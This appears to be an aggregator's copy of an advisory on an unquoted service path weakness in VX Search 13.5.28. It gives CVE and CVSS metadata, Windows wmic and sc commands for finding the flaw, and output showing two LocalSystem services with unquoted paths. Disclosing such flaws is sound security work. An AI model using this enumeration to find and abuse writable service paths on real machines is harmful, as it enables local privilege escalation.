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VX Search 13.5.28 Unquoted Service Path

CVE Category Price Severity
CVE-2021-39516 CWE-428 Unknown High
Author Risk Exploitation Type Date
rsmudge High Local 2021-06-21
CPE
cpe:cpe:/a:vx-search:vx-search:13.5.28
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060122

Below is a copy:

VX Search 13.5.28 Unquoted Service Path
# Exploit Title: VX Search 13.5.28 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.vxsearch.com
# Software Links:
# https://www.vxsearch.com/setups_x64/vxsearchsrv_setup_v13.5.28_x64.exe
# https://www.vxsearch.com/setups_x64/vxsearchent_setup_v13.5.28_x64.exe
# Tested Version: 13.5.28
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

VX Search Server    VX Search Server   C:\Program Files\VX Search
Server\bin\vxsrchs.exe   Auto
VX Search Enterprise    VX Search Enterprise   C:\Program Files\VX Search
Enterprise\bin\vxsrchs.exe   Auto

C:\>sc qc "VX Search Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\VX Search
Server\bin\vxsrchs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : VX Search Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\>sc qc "VX Search Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Enterprise
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\VX Search
Enterprise\bin\vxsrchs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : VX Search Enterprise
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


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